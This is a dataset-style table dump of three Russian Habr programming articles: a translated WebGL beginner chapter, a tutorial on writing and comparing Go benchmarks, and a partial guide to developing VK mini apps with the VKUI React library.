text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# «WebGL Beginner's Guide» Глава 1: Начиная работать с WebGL
Всем привет!
Хочу начать вольный перевод отличной книги [«WebGL Beginner's Guide»](http://www.amazon.com/WebGL-Beginners-Guide-Diego-Cantor/dp/184969172X/ref=sr_1_1?ie=UTF8&qid=1382363871&sr=8-1&keywords=9781849691727), которая, на мой взгляд, будет интересна не только новичкам, но и более продвинутым разработчикам.
Содержание:
* **Глава 1: Начиная работать с WebGL**
* Глава 2: Рендеринг геометрии
* Глава 3: Освещение
* Глава 4: Камера
* Глава 5: Движение
* Глава 6: Цвет, глубина и альфа-смешение
* Глава 7: Текстуры
* Глава 8: Выбор
* Глава 9: Собираем все вместе
* Глава 10: Дополнительные методы
WebGL первоначально была основана на OpenGL ES 2.0 (ES означает Embedded Systems), версии спецификации OpenGL для таких устройств как iPhone от Apple и iPad. Но спецификация развивалась, стала независимой, ее основная цель это обеспечение переносимости между различными операционными системами и устройствами. Идея веб-интерфейса, рендеринг в реальном времени открыли новую вселенную возможностей для веб-3D сред, таких как видеоигры, научная и медицинская визуализация. Кроме того, из-за широкого распространения веб-браузеров, эти и другие виды 3D-приложений могут быть запущены на мобильных устройствах, таких как смартфоны и планшеты. Если вы хотите создать свою первую веб-видеоигру, 3D арт-проект для виртуальной галереи, визуализацию данных ваших экспериментов или любое другое 3D-приложение, вы должны иметь ввиду, что первым шагом должно быть то, что вы должны убедиться, что у вас есть подходящая среда.
В этой главе вы сможете:
* Понять структуру WebGL-приложения
* Создавать свои области рисования (canvas)
* Проверить WebGL-возможности вашего браузера
* Понять, как устроена машина состояний WebGL
* Изменять переменные WebGL, которые влияют на вашу сцену
* Загружать и исследовать полнофункциональные сцены
#### Системные требования
WebGL является веб-основой API 3D-графики. Как таковая она не требует установки. В то время, когда писалась это книга, вы автоматически могли работать с WebGL, если у вас установлен один из следующих интернет-браузеров:
* Firefox 4.0 или более поздней версии
* Google Chrome 11 или более поздней версии
* Safari (OSX 10.6 или более поздней версии). По умолчанию WebGL отключена, но вы можете включить ее, установив опцию Enable WebGL в меню Developer
* Opera 12 или более поздней версии
Чтобы получить обновленный список веб-браузеров, которые поддерживают WebGL, перейдите по следующей [ссылке](http://www.khronos.org/webgl/wiki/Getting_a_WebGL_Implementation) . Вы также должны убедиться, что на вашем компьютере имеется видеокарта. Если вы хотите быстро проверить, поддерживает ли ваша конфигурация WebGL, то перейдите по этой [ссылке](http://get.webgl.org/).
#### Что представляет собой WebGL
WebGL является 3D графической библиотекой, которая позволяет современным интернет-браузерам отрисовывать 3D-сцены стандартным и эффективным способом. Согласно Википедии, рендеринг это визуализация процесса создания изображения из модели с помощью компьютерной программы. Поскольку этот процесс выполняется на компьютере, существуют различные способы получения таких изображений.
Первое различие, которое мы должны сделать, используем ли мы какие-либо специальные графические аппаратные средства или нет. Мы можем говорить о программном рендеринге, в тех случаях, когда все расчеты, необходимые для отрисовки 3D-сцен выполняются с использованием основного процессора компьютера; с другой стороны, мы используем термин аппаратного рендеринга, в тех случаях, когда есть графический процессор (GPU) для вычисления 3D-графики в реальном времени. С технической точки зрения, аппаратный рендеринг является гораздо более эффективным по сравнению с программным, потому что есть специализированные аппаратные составляющие, которые обрабатывают операции. Но, с другой стороны, программный рендеринг обычно более распространен из-за нехватки аппаратных зависимостей.
Второе различие, которое мы можем сделать, это происходит ли процесс рендеринга локально или удаленно. Когда изображение, которое должно быть отображено сложное, то рендеринг, скорее всего, будет происходить удаленно. Это случай 3D-анимационных фильмов, когда выделенные серверы с большим количеством аппаратных ресурсов позволяют рендерить сложные сцены. Мы будем называть это серверным рендерингом. Противоположностью этому является рендеринг, выполняющийся локально. Мы будем называть это клиентским рендерингом.
WebGL имеет клиенто-ориентированный подход; элементы, которые составляют части 3D-сцены, обычно загружаются с сервера. Однако, вся дальнейшая обработка, необходимая для получения изображения выполняется локально, с помощью графического оборудования клиента.
По сравнению с другими технологиями (например, Java 3D, Flash и Unity Web Player Plugin) WebGL имеет ряд преимуществ:
* JavaScript программирование: JavaScript это «родной» язык для веб-разработчиков и веб-браузеров. Работа с JavaScript позволяет получить доступ ко всем DOM-элементам, а также легко с ними обращаться, в отличие от общения с апплетами. Так как WebGL программируется в JavaScript, то это облегчает интеграцию WebGL-приложений с другими JavaScript – библиотеками, такими как JQuery и другими технологиями HTML5.
* Автоматическое управление памятью: в отличие от своего собрата OpenGL и других технологий, где есть конкретные операции выделения и освобождения памяти вручную, в WebGL нет такой необходимости. Из этого следует, что при выходе JavaScript переменной из области видимости, память, занимаемая ей, автоматически освобождается. Это чрезвычайно облегчает программирование, уменьшает объем кода, делает его более ясным и понятным.
* Проницаемость: благодаря современным технологическим достижениям, веб-браузеры с поддержкой JavaScript устанавливаются на смартфоны и планшетные устройства. На момент написания, Mozilla Foundation является программой для тестирования возможностей WebGL в телефонах Motorola и Samsung. Существуют подобные разработки поддержки WebGL для платформы Android.
* Производительность: производительность приложений WebGL сопоставима с эквивалентными автономными приложениями (с некоторыми исключениями). Это происходит благодаря способности WebGL иметь доступ к локальным аппаратным ускорителям графики. До сих пор, многие веб-технологии для 3D рендеринга используют программный рендеринг.
* Нулевая компиляция: учитывая, что WebGL написана на JavaScript, то нет необходимости в предварительной компиляции кода перед выполнением в веб-браузере. Это позволяет вносить изменения на лету и смотреть, как эти изменения влияют на 3D веб-приложение. Тем не менее, когда мы затронем тему шейдеров, то мы поймем, что нуждаемся в некоторой компиляции. Однако, это происходит с помощью наших графических аппаратных средств, а не в нашем браузере.
#### Структура WebGL приложения
Как и в любой библиотеке 3D-графики, в WebGL необходимо присутствие определенных компонентов для создания 3D-сцен. Эти основные элементы будут рассмотрены в первых четырех главах книги. Начиная с 5 главы, мы будем рассматривать элементы, которые не имеют отношения к работе с 3D-сценой, такие как цвета и текстуры, а затем, позже, мы перейдем к более сложным темам.
Элементы, к которым мы обращаемся, следующие:
* Canvas: это заполнитель, где будет отображаться сцена. Это стандартный HTML5-элемент, который может быть доступен с помощью объектной модели документа (DOM) через JavaScript.
* Объекты: это 3D сущности, которые составляют часть сцены. Эти сущности состоят из треугольников. Во второй главе мы увидим, как WebGL обрабатывает геометрию. Мы будем использовать WebGL-буферы для хранения многоугольников и увидим, как WebGL использует буферы для визуализации объектов на сцене.
* Свет: ничего в 3D мире нельзя увидеть, если нет никаких источников света. Этот элемент любого WebGL-приложения будет рассмотрен в 3 главе. Мы узнаем, что WebGL использует шейдеры для моделирования света на сцене. Так же мы посмотрим, как 3D-объекты отражают и поглощают свет в соответствии с законами физики, а также обсудим иные модели света, которые мы можем создать в WebGL для визуализации наших объектов.
* Камера: выступает в качестве холста для просмотра 3D-мира. Посмотрим, как с ее помощью можно исследовать 3D-сцену. В 4 главе, будут рассмотрены различные матричные операции, которые необходимы для получения перспективного вида. Также мы поймем, как эти операции могут моделировать поведение камеры.
Эта глава посвящена первому элементу нашего списка – canvas. В ближайших разделах мы увидим, как создать canvas (холст) и как настроить WebGL-контекст.
#### Создание HTML5 canvas
Давайте создадим веб-страницу и добавим HTML5 canvas. Canvas представляет собой прямоугольный элемент на веб-странице, где будет отображаться 3D-сцена.
1. Используя ваш любимый редактор, создайте веб-страницу со следующим содержимым:
```
WebGL Beginner's Guide - Setting up the canvas
canvas {border: 2px dotted blue;}
Your browser does not support HTML5
```
2. Сохраните файл как `ch1_Canvas.html`.
3. Откройте этот файл через поддерживаемый браузер.
4. Вы должны увидеть что-то похожее на это:
**Что только что произошло?**
Мы только что создали простую веб-страницу с содержащимся в ней холстом. Этот холст будет содержать наши 3D-приложения. Давайте разберем некоторые важные элементы, представленные в этом примере.
**Определение CSS-стиля для границы**
Это кусок кода, который определяет стиль холста:
```
canvas {border: 2px dotted blue;}
```
Как вы можете себе представить, этот код не является фундаментальным для создания WebGL-приложений. Тем не менее, синяя пунктирная линия является хорошим способом проверки, где находится холст, учитывая, что полотно будет изначально пусто.
**Понимание атрибутов холста**
В предыдущем примере есть 3 атрибута:
* Id: это идентификатор холста в объектной модели документа (DOM)
* Ширина и высота: эти два атрибута определяют размер нашего холста. Когда эти два атрибута отсутствуют Firefox, Chrome, и WebKit по умолчанию будут использовать холст 300x150.
**Что делать, если canvas не поддерживается?**
Если вы видите, что на экране появилось сообщение: `Your browser does not support HTML5` (которое было записано между тегами и ), то вы должны убедиться, что используете браузер, который поддерживает WebGL.
Если вы используете Firefox и все еще видите сообщение HTML5 not supported, то проверьте, что включена поддержка WebGL. Для этого введите в адресной строке `about:config`, а затем посмотрите на свойство `webgl.disabled`. Если установлено в `true` то перейдите и поменяйте. При повторном запуске Firefox и загрузке ch1\_Canvas.html вы должны увидеть пунктирные линии холста, то есть все в порядке.
При удаленном подключении, если вы не видите холст, то это может быть связано с тем, что Firefox внес в черный список некоторые драйверы графической карты. В этом случае ничего не остается, как использовать другой компьютер.
#### Доступ к контексту WebGL
Контекст WebGL это дескриптор (точнее, объект JavaScript), через который мы можем получить доступ ко всем функциям и атрибутам WebGL. Они составляют Application Program Interface WebGL (API).
Мы собираемся создать функцию JavaScript, которая будет проверять можно ли на холсте получить контекст WebGL. В отличие от других библиотек JavaScript, которые должны быть загружены и подключены в рабочий проект, WebGL уже находится в вашем браузере. Другими словами если вы используете один из поддерживаемых браузеров, то вам не нужно устанавливать и включать какую-либо библиотеку.
Мы собираемся изменить предыдущий пример, добавив JavaScript-функцию, которая будет проверять наличие поддержки WebGL в вашем браузере (пытаться получить дескриптор). Эта функция будет вызываться при загрузке страницы. Для этого мы будем использовать стандартное DOM-событие `onLoad`.
1. Открываем файл `ch1_Canvas.html` в вашем любимом текстовом редакторе (в идеале можно выбрать синтаксис для HTML/JavaScript).
2. Добавьте следующий код прямо под тегом
Мы должны вызвать эту функцию на событие `onLoad`. Измените содержимое тега `body` на следующее:
```
```
Сохраните файл `ch1_GL_Context.html`.
Откройте файл `ch1_GL_Context.html`, используя один из браузеров, поддерживающих WebGL.
Если вы не сможете запустить WebGL, то увидите примерно следующее диалоговое окно:
**Что же только что произошло?**
Используя переменную JavaScript (gl), мы получили ссылку на контекст WebGL. Давайте вернемся и проверим код, который позволяет получить доступ к WebGL:
```
var names = ["webgl", "experimental-webgl", "webkit-3d", "moz-webgl"];
for (var i = 0; i < names.length; ++i)
{
try
{
gl = canvas.getContext(names[i]);
}
catch(e) {}
if (gl)
break;
}
```
Метод холста `getContext` дает нам доступ к WebGL. Все, что нам нужно, это указать имя контекста, которое может быть разным у разных производителей. Поэтому мы сгруппировали все возможные имена контекста в массив names. Крайне важно проверить спецификацию WebGL (вы можете найти ее в интернете) на любые изменения, касающиеся соглашения об именовании.
`getContext` так же может обеспечить доступ к 2D-графике HTML5 при использовании 2D –библиотеки, в зависимости от имени контекста. В отличие от WebGL это соглашение об именах является стандартным. API 2D-графики HTML5 является полностью независимым от WebGL и выходит за рамки этой книги.
#### Машина состояний WebGL
Контекст WebGL может пониматься как машина состояний: как только вы измените любой из его атрибутов, то модификация сохранит свое состояние, пока вы снова не поменяете значение атрибута. В любой момент вы можете запросить состояние этих атрибутов, поэтому вы можете определить текущее состояние вашего WebGL-контекста. Давайте проанализируем это поведение на примере.
В этом примере мы собираемся научиться изменять цвет, который мы используем для очистки холста:
1. Используя ваш любимый текстовый редактор, откройте файл `ch1_GL_Attributes.html`:
```
WebGL Beginner's Guide - Setting WebGL context attributes
canvas {border: 2px dotted blue;}
var gl = null;
var c\_width = 0;
var c\_height = 0;
window.onkeydown = checkKey;
function checkKey(ev)
{
switch(ev.keyCode)
{
case 49:
{
// 1
gl.clearColor(0.3,0.7,0.2,1.0);
clear(gl);
break;
}
case 50:
{
// 2
gl.clearColor(0.3,0.2,0.7,1.0);
clear(gl);
break;
}
case 51:
{
// 3
var color = gl.getParameter(gl.COLOR\_CLEAR\_VALUE);
// Don't get confused with the following line. It
// basically rounds up the numbers to one decimal cipher
//just for visualization purposes
alert('clearColor = (' +
Math.round(color[0]\*10)/10 +
',' + Math.round(color[1]\*10)/10+
',' + Math.round(color[2]\*10)/10+')');
window.focus();
break;
}
}
}
function getGLContext()
{
var canvas = document.getElementById("canvas-element-id");
if (canvas == null)
{
alert("there is no canvas on this page");
return;
}
var names = ["webgl", "experimental-webgl", "webkit-3d", "moz-webgl"];
var ctx = null;
for (var i = 0; i < names.length; ++i)
{
try
{
ctx = canvas.getContext(names[i]);
}
catch(e) {}
if (ctx)
break;
}
if (ctx == null)
{
alert("WebGL is not available");
}
else
{
return ctx;
}
}
function clear(ctx)
{
ctx.clear(ctx.COLOR\_BUFFER\_BIT);
ctx.viewport(0, 0, c\_width, c\_height);
}
function initWebGL()
{
gl = getGLContext();
}
Your browser does not support the HTML5 canvas element.
```
2. Вы видите, что этот файл очень похож на наш предыдущий пример. Тем не менее, появляются новые конструкции, которые мы кратко объясним. Этот файл содержит 4 JavaScript-функции:
* `checkKey`: это вспомогательная функция. Она захватывает ввод с клавиатуры и выполняет код в зависимости от введенной команды
* `getGLContext`: подобна той, которую мы уже рассмотрели
* `clear`: очищает холст текущим цветом, который является одним из атрибутов WebGL-контекста. Как упоминалось ранее, WebGL работает как конечный автомат, поэтому он будет поддерживать выбранный цвет, чтобы очистить холст до того, как этот цвет будет изменен с помощью функции `gl.clearColor`.
* `initWebGL`: эта функция может заменить функцию `getGLContext`, как функция, вызываемая на событие `onLoad` документа. Эта функция вызывает улучшенную версию `getGLContext`, которая возвращает контекст в переменную `ctx`. Затем этот контекст присваивается глобальной переменно `gl`.
3. Откройте файл `test_gl_attributes.html`, используя поддерживаемый браузер.
4. Нажмите 1. Вы увидите, как холст меняет свой цвет на зеленый. Если вы захотите узнать используемый цвет, то нажмите 3.
5. Холст окрашен в зеленый цвет, пока мы не решим изменить цвет очистки, вызвав функцию `gl.clearColor`. Давайте изменим его, нажав 2. Если посмотреть на код, то можно увидеть, что цвет изменится на синий. Если вы хотите узнать какой это точно цвет, нажмите 3.
**Что же только что произошло?**
В этом примере мы увидели как мы можем изменять и задавать цвет, который WebGL использует для очистки холста с помощью вызова функции `clearColor`. Соответственно, мы использовали функцию `getParameter (gl.COLOR_CLEAR_VALUE)`, чтобы получить текущее значение цвета заливки холста.
На протяжении всей книги мы будем видеть аналогичные конструкции, когда конкретные функции устанавливают атрибуты контекста, а WebGL-функция `getParameter` извлекает текущее значение атрибутов в зависимости от переданного аргумента (в нашем примере это `COLOR_CLEAR_VALUE`).
**Получить доступ к WebGL API, используя контекст**
Также важно отметить, что все функции WebGL доступны через контекст WebGL. В наших примерах контекст находится в переменной `gl`. Таким образом, любой вызов WebGL API будет производится с помощью этой переменной.
#### Загружаем 3D-сцену
До сих пор мы видели как можно получить и настроить контекст WebGL; следующим шагом является обсуждение объектов, освещения и камеры. Однако, почему мы должны ждать, чтобы посмотреть на возможности WebGL? В этом разделе мы посмотрим как выглядит WebGL-сцена.
##### Виртуальный автосалон
Благодаря книге, мы будем развивать виртуальное приложение автосалона с помощью WebGL. На данный момент, мы будем загружать одну простую сцену на холст. Эта сцена будет содержать автомобиль, несколько источников света и камеру.
После прочтения книги, вы сможете создавать сцены, подобные той, которую мы будем создавать.
1. Откройте файл `ch1_Car.html` в любом из поддерживаемых браузеров
2. Вы увидите WebGL-сцену с автомобилем, как показано ниже:
3. С помощью ползунка можно интерактивно обновлять четыре источника света, которые определены для этой сцены. Каждый источник света состоит из трех элементов: окружение, диффузные и зеркальные элементы. Более подробно мы рассмотрим тему освещения в 3 главе.
4. Нажмите и потащите на холсте, чтобы повернуть автомобиль и визуализировать его с разных сторон. Вы можете увеличить его, нажав клавишу Alt при перетаскивании мышью на холсте. Также вы можете использовать клавиши со стрелками, чтобы поворачивать камеру вокруг автомобиля. Убедитесь в том, что холст находится в фокусе, нажав на него, прежде чем использовать клавиши со стрелками. В 4 главе мы посмотрим, как создать и работать с камерой в WebGL.
5. Для достижения эффекта, который возникает при нажатии на клавиши со стрелками, мы используем JavaScript-таймеры. Мы поговорим об анимации в 5 главе.
6. Используйте виджет выбора цвета, как показано на предыдущем скриншоте, чтобы изменить цвет автомобиля. Использование цветов будет рассмотрено в 6 главе. Главы 7-10 будет описано использование текстур, выбор объектов на сцене, как построить виртуальный автосалон и передовые WebGL-методы соответственно.
**Что же только что произошло?**
Мы загрузили простую сцену в интернет-браузер с помощью WebGL.
Эта сцена состоит из:
* Холста, с помощью которого мы видим сцену
* Несколько полигонов (объектов), которые представляют собой части автомобиля: крыша, окна, фары, крылья, двери, колеса, спойлер бамперы и так далее.
* Источники света, в противном случае все было бы черным
* Камера, которая определяет наше положение в 3D-мире. Камера, может быть интерактивной, то есть положение наблюдателя может меняться, в зависимости от пользовательского ввода. В этом примере мы использовали левую и правую клавиши со стрелками и мышь, чтобы перемещать камеру вокруг автомобиля.
Существуют и другие элементы, которые не охвачены в данном примере, такие как текстуры, цвета и специальные световые эффекты (зеркальность). Не паникуйте! Позже будут рассмотрены все элементы более подробно.
#### Резюме
В этой главе мы рассмотрели четыре основных элемента, которые всегда присутствуют в любом WebGL-приложении: холст, объект, свет и камера.
Мы узнали, как добавить на веб-страницу HTML5 canvas, как установить его ID, ширину и высоту. После этого мы написали код, который создавал контекст WebGL. Мы увидели, что WebGL работает как машина состояний, как таковая, мы можем запросить любую из своих переменных, использую функцию getParameter.
В следующей главе мы узнаем, как определить, загрузить и отрисовать 3D-модель в WebGL-сцене.
Ресурсы к этой статье вы можете скачать по [ссылке](https://github.com/Vasilui/habrahabr/tree/master/WebGL)
Всем большое спасибо за внимание! | https://habr.com/ru/post/198306/ | null | ru | null |
# Бенчмарки в Go
#### Бенчмарки
Бенчмарки это тесты для производительности. Довольно полезно иметь их в проекте и сравнивать их результаты от коммита к коммиту. В Go есть очень хороший инструментарий для написания и запуска бенчмарков. В этой статье я покажу, как использовать пакет `testing` для написания бенчмарков.
#### Как написать бенчмарк
Это просто в Go. Вот пример простейшего бенчмарка:
```
func BenchmarkSample(b *testing.B) {
for i := 0; i < b.N; i++ {
if x := fmt.Sprintf("%d", 42); x != "42" {
b.Fatalf("Unexpected string: %s", x)
}
}
}
```
Сохраните этот код в файл bench\_test.go и запустите команду `go test -bench=. bench_test.go`.
Вы увидите что-то вроде:
> testing: warning: no tests to run
>
> PASS
>
> BenchmarkSample 10000000 206 ns/op
>
> ok command-line-arguments 2.274s
>
>
Мы видим здесь, что одна итерация бенчмарка заняла 206 наносекунд. Это было действительно просто. Но есть еще пара интересных вещей о бенчмарках в Go.
#### Что вы можете тестировать бенчмарками?
По умолчанию `go test -bench=.` тестирует только скорость вашего кода, однако вы можете добавить флаг `-benchmem`, который позволит тестировать потребление памяти и количество аллокаций памяти. Это будет выглядеть так:
> PASS
>
> BenchmarkSample 10000000 208 ns/op 32 B/op 2 allocs/op
>
>
Здесь мы видим количество байт и аллокаций памяти за итерацию. Полезная информация как по мне. Вы также можете включить эти результаты для каждого бенчмарка в отдельности вызвав метод `b.ReportAllocs()`.
Но это еще не все, вы можете также задать пропускную способность за одну итерацию в байтах при помощи метода `b.SetBytes(n int64)`. Например:
```
func BenchmarkSample(b *testing.B) {
b.SetBytes(2)
for i := 0; i < b.N; i++ {
if x := fmt.Sprintf("%d", 42); x != "42" {
b.Fatalf("Unexpected string: %s", x)
}
}
}
```
Теперь вывод будет:
> PASS
>
> BenchmarkSample 5000000 324 ns/op 6.17 MB/s 32 B/op 2 allocs/op
>
> ok command-line-arguments 1.999s
>
>
Вы можете видеть колонку с пропускной способности, которая равна `6.17 MB/s` в моем случае.
#### Начальные условия для бенчмарков
Что если вам нужно сделать что-нибудь перед каждой итерацией бенчмарка? Вы конечно же не захотите включать время этой операции в результаты бенчмарка. Я написал очень простую структуру данных `Set` для тестирования:
```
type Set struct {
set map[interface{}]struct{}
mu sync.Mutex
}
func (s *Set) Add(x interface{}) {
s.mu.Lock()
s.set[x] = struct{}{}
s.mu.Unlock()
}
func (s *Set) Delete(x interface{}) {
s.mu.Lock()
delete(s.set, x)
s.mu.Unlock()
}
```
и бенчмарк для метода `Delete`:
```
func BenchmarkSetDelete(b *testing.B) {
var testSet []string
for i := 0; i < 1024; i++ {
testSet = append(testSet, strconv.Itoa(i))
}
for i := 0; i < b.N; i++ {
b.StopTimer()
set := Set{set: make(map[interface{}]struct{})}
for _, elem := range testSet {
set.Add(elem)
}
for _, elem := range testSet {
set.Delete(elem)
}
}
}
```
В этом коде имеется две проблемы:
* Время и память создания слайса `testSet` включаются в первую итерация (и это не очень большая проблема, потому что итераций будет много)
* Время и память на вызов метода `Add` включается в каждую итерацию
Для таких случаев у нас имеются методы `b.ResetTimer()`, `b.StopTimer()` и `b.StartTimer()`. Здесь показано их использование в предыдущем бенчмарке:
```
func BenchmarkSetDelete(b *testing.B) {
var testSet []string
for i := 0; i < 1024; i++ {
testSet = append(testSet, strconv.Itoa(i))
}
b.ResetTimer()
for i := 0; i < b.N; i++ {
b.StopTimer()
set := Set{set: make(map[interface{}]struct{})}
for _, elem := range testSet {
set.Add(elem)
}
b.StartTimer()
for _, elem := range testSet {
set.Delete(elem)
}
}
}
```
Теперь начальная настройка не будет учтена в результатах и мы увидим только результаты вызова метода `Delete`.
#### Сравнение бенчмарков
Конечно, в бенчмарках мало толку, если вы не можете их сравнить после изменения кода. Вот пример кода, который сериализует структуру в `json` и бенчмарк для него:
```
type testStruct struct {
X int
Y string
}
func (t *testStruct) ToJSON() ([]byte, error) {
return json.Marshal(t)
}
func BenchmarkToJSON(b *testing.B) {
tmp := &testStruct{X: 1, Y: "string"}
js, err := tmp.ToJSON()
if err != nil {
b.Fatal(err)
}
b.SetBytes(int64(len(js)))
b.ResetTimer()
for i := 0; i < b.N; i++ {
if _, err := tmp.ToJSON(); err != nil {
b.Fatal(err)
}
}
}
```
Допустим, этот код уже добавлен в git, теперь я хочу попробовать клевый трюк и измерить прирост (или падение) производительности. Я слегка меняю метод `ToJSON`:
```
func (t *testStruct) ToJSON() ([]byte, error) {
return []byte(`{"X": ` + strconv.Itoa(t.X) + `, "Y": "` + t.Y + `"}`), nil
}
```
Самое время запустить бенчмарки, в этот раз сохраним их вывод в файлы:
> go test -bench=. -benchmem bench\_test.go > new.txt
>
> git stash
>
> go test -bench=. -benchmem bench\_test.go > old.txt
>
>
Мы можем сравнить эти результаты с помощью утилиты [benchcmp](http://godoc.org/golang.org/x/tools/cmd/benchcmp). Вы можете установить ее, выполнив команду `go get golang.org/x/tools/cmd/benchcmp`. Вот результаты сравнения:
> # benchcmp old.txt new.txt
>
> benchmark old ns/op new ns/op delta
>
> BenchmarkToJSON 1579 495 -68.65%
>
>
>
> benchmark old MB/s new MB/s speedup
>
> BenchmarkToJSON 12.66 46.41 3.67x
>
>
>
> benchmark old allocs new allocs delta
>
> BenchmarkToJSON 2 2 +0.00%
>
>
>
> benchmark old bytes new bytes delta
>
> BenchmarkToJSON 184 48 -73.91%
>
>
Это очень полезно иметь такие таблицы при изменениях, к тому же они могут добавить солидности к вашим пулл реквестам в opensource проекты.
#### Запись профилей
Также вы можете записать `cpu` и `memory` профили во время выполнения бенчмарков:
> go test -bench=. -benchmem -cpuprofile=cpu.out -memprofile=mem.out bench\_test.go
>
>
Про анализ профилей вы можете прочитать отличный [пост](http://blog.golang.org/profiling-go-programs) в официальном блоге Go.
#### Заключение
Бенчмарки это прекрасный инструмент для программиста. И Go позволяет вам очень легко писать и анализировать результаты бенчмарков. Новые бенчмарки позволяют вам найти узкие места в производительности, подозрительный код (эффективный код обычно проще и легче читается) или использование неправильных инструментов для задач.
Существующие бенчмраки позволят вам быть более уверенным в изменениях и их результаты могут быть голосом в вашу пользу при ревью. Написание бенчмарков дает большие преимущества для программиста и программы и я советую вам писать их побольше. Это весело! | https://habr.com/ru/post/268585/ | null | ru | null |
# Разработка приложений в VK mini apps
Почему надо смотреть в сторону разработки приложений для работы в VK? У меня за спиной много лет фронтенд-разработки для массовых сервисов, и то, что сейчас предлагает разработчику социальная сеть «ВКонтакте» — быстрый и эффективный способ построить еще один канал коммуникации с действительно большой аудиторией. Ниже расскажу, в чем идея VK mini apps, какие технологии использовать при разработке приложения и на что стоит обратить внимание.
*Первоначальная публикация статьи в блоге Mail.ru Cloud Solutions: <https://mcs.mail.ru/blog/razrabotka-prilozhenij-v-vk-mini-apps>*
Платформа VK mini apps
----------------------
«ВКонтакте» предоставляет сторонним разработчикам возможность писать веб-приложения и размещать их в каталоге приложений и/или продвигать внутри сети. Пользователям приложений не нужно скачивать отдельные нативные приложения из Google Play/App Store, функционал выбранного приложения доступен внутри пользовательской сессии основного приложения во «ВКонтакте» или через браузер, на сайте соцсети. В социальной сети есть подробная инструкция о том, как начать работу на [платформе VK mini apps](https://vk.com/dev/vk_apps_docs).
Инфраструктура приложения VK mini app
-------------------------------------
Приложение VK mini app представляет собой обычный веб-ресурс, располагаемый по определенному адресу. Его мы должны разместить в «Панели управления приложением» социальной сети.
«ВКонтакте» позволяет разместить три версии приложения:
* для мобильных клиентов — то есть для открытия в нативном приложении «ВКонтакте»;
* десктопный вариант — [vk.com](https://vk.com) в браузере;
* вариант для браузеров в мобильных телефонах (https://m.vk.com).
При размещении вы также можете включить «Режим разработки». Он позволяет пользователям «ВКонтакте», назначенным в качестве администраторов приложения, использовать для тестирования каждой из трех витрин отдельный адрес. То есть открывая приложение, обычный пользователь увидит то, что расположено по условном адресу yourapp.com, а администратор — test.yourapp.com.
Ваш веб-ресурс встраивается в приложение «ВКонтакте» через обычное WebView, при открытии с десктопа — через iFrame. Поэтому необходимо держать в уме, что часть функционала JavaScript может быть недоступна, необходимо тщательное тестирование.
После тестирования веб-приложения на разных устройствах его можно отправлять на модерацию, чтобы оно могло быть размещено в каталоге. Заявка на модерацию отправляется из «Панели управления приложением». Объявленный «ВКонтакте» срок модерации — 7 дней. Выкладки новых приложений (сервисов по терминологии «ВКонтакте») происходят раз в неделю по четвергам.
> Есть [подробная памятка](https://vk.com/@vkappsdev-vk-apps-kak-popast-v-katalog) о том, как создать правильное приложение. Рекомендую внимательно свериться с ней, прежде чем отдавать приложение на модерацию.
Разработка приложения VK mini app
---------------------------------
Итак, приложение VK Mini Apps — это, по сути, обычное веб-приложение, которое встраивается в платформу посредством iFrame или WebView. Поэтому выбор технологий, на котором оно будет написано, за вами.
Однако для разработки фронтенда «ВКонтакте» рекомендует собственную [библиотеку готовых компонентов VK UI](https://vkcom.github.io/vkui-styleguide/), выполненную на React:
Это удобно — многие типовые компоненты уже готовы, осталось только встроить их в структуру вашей страницы или SPA.
Компоненты уже стилизованы согласно styleguide «ВКонтакте» — пользователю будет привычнее и удобнее работать с теми элементами управления и интерактивом, к которым он уже привык, находясь внутри социальной сети.
«ВКонтакте» не требует от разработчика следования какой бы то ни было жесткой архитектуре построения фронтенда — мы берем только то, что нужно, и модифицируем компоненты так, как нужно. Например, вы всегда сможете добавить глупому view-компоненту свой класс, свой обработчик событий, сделать вложенные компоненты любой глубины и так далее.
Существует достаточно подробная (правда, не совсем полная) [документация по VKUI](https://vkcom.github.io/vkui-styleguide/). Исходный код на GitHub: <https://github.com/VKCOM/VKUI>. Соответственно, максимально простая установка:
```
npm i —save-dev @vkontakte/vkui
```
Обязательно нужно поставить следующий метатег в head верстки страницы вашего приложения, иначе на устройствах с iOS будет неправильно отображаться нативная навигация «ВКонтакте»:
Далее нам нужно просто встроить React-приложение на страницу.
### Параметры открытия приложения
«ВКонтакте» сам добавляет параметры запуска к адресной строке, по которой открывается ваше приложение. Их список следующий: *vk\_user\_id, vk\_app\_id, vk\_are\_notifications\_enabled, vk\_language, vk\_ref, vk\_access\_token\_settings, vk\_group\_id, vk\_viewer\_group\_role, vk\_platform, vk\_is\_favorite, sign*. То есть фрейм с вашим приложением откроется примерно с похожим адресом: *[youvkapp.ru/?vk\_access\_token\_settings=notify&vk\_app\_id=888888&vk\_are\_notifications\_enabled=1&vk\_is\_app\_user=1&vk\_is\_favorite=1&vk\_language=ru&vk\_platform=desktop\_web&vk\_ref=other&vk\_user\_id=111111&sign=fsdfsdgfgfiuoitu8345u34j](https://youvkapp.ru/?vk_access_token_settings=notify&vk_app_id=888888&vk_are_notifications_enabled=1&vk_is_app_user=1&vk_is_favorite=1&vk_language=ru&vk_platform=desktop_web&vk_ref=other&vk_user_id=111111&sign=fsdfsdgfgfiuoitu8345u34j)*
Это позволяет уже при старте приложения иметь достаточно полный набор данных, извлеченных из url, чтобы начать персональное взаимодействие с конкретным пользователем. Например, говорить с ним на одном языке — русском, английском или каком-то другом, либо попросить о включении своих уведомлений.
Дополнительные параметры в этот список «ВКонтакте» на ноябрь 2019 года включать не планирует. Однако в url можно передать произвольный хэш, например: *[youvkapp.ru#custom\_param](https://youvkapp.ru#custom_param)*
### Роутинг
Если в приложении больше одного экрана (я думаю, это как раз ваш случай), нужен переход между экранами. За показ того или иного экрана отвечает state нашего React-приложения. Что касается организации View, то «ВКонтакте» предлагает два способа: смена активного компонента VKUI View и VKUI Panel.
Каждый View отвечает за свой пользовательский сценарий: основной, дополнительный, вызов справочников, страницы поиска и другие. Внутри View содержится свой набор Panel — это конкретные шаги (экраны) в пользовательском сценарии. Абстрактно это выглядит так:
```
import {Root, View, Panel} from ‘@vkontakte/vkui’;
…
…
…
…
…
…
```
В state в activePanel мы прописываем id того элемента, который нужно показать.
### Верстка и компоненты
Теперь можно посмотреть типичную страницу внутри Panel, созданную с помощью компонентов VK UI.
Библиотека VK UI предоставляет практически полный набор компонентов, необходимых для построения интерактивного приложения: всевозможные элементы форм, попапы, стилизованные алерты, галереи, панели навигации, спиннеры, аватары, футеры и так далее.
```
import {
Button,
Div,
FormLayout,
Input,
Panel,
PanelHeader,
PanelHeaderBack,
Search,
View
